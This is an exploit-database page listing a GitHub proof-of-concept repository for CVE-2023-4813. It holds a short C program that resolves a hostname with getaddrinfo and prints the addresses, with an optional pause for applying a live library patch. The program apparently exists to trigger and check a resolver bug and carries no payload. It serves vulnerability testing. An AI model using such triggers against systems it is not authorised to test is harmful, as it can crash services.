Exploit database

GH-1addb79e778e0d4f2041fe08af80f77c

tnishiox/cve-2023-4813

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-4813

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
tnishiox/cve-2023-4813Revision e452137513e5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2023-4813.c

C · 1,716 bytes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    struct addrinfo hints, *res, *p;
    int status;
    char ipstr[INET6_ADDRSTRLEN];

    if ((argc != 2) && (argc != 3)){
        fprintf(stderr, "Usage: %s hostname [seconds]\n", argv[0]);
        return 1;
    }

    if (argc == 3) {
        int seconds = atoi(argv[2]);
        printf("Wait for %d seconds.\n", seconds);
        printf("Run 'sudo kcarectl --lib-update' in the meantime.\n");
        sleep(seconds);
    }

    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC; // AF_INET or AF_INET6 to force version
    hints.ai_socktype = SOCK_STREAM;

    if ((status = getaddrinfo(argv[1], NULL, &hints, &res)) != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(status));
        return 2;
    }

    printf("IP addresses for %s:\n", argv[1]);

    for(p = res; p != NULL; p = p->ai_next) {
        void *addr;
        char *ipver;

        // Determine if the address is IPv4 or IPv6
        if (p->ai_family == AF_INET) { // IPv4
            struct sockaddr_in *ipv4 = (struct sockaddr_in *)p->ai_addr;
            addr = &(ipv4->sin_addr);
            ipver = "IPv4";
        } else { // IPv6
            struct sockaddr_in6 *ipv6 = (struct sockaddr_in6 *)p->ai_addr;
            addr = &(ipv6->sin6_addr);
            ipver = "IPv6";
        }

        // Convert the IP address to a string
        inet_ntop(p->ai_family, addr, ipstr, sizeof ipstr);
        printf("  %s: %s\n", ipver, ipstr);
    }

    freeaddrinfo(res); // Free the linked list

    return 0;
}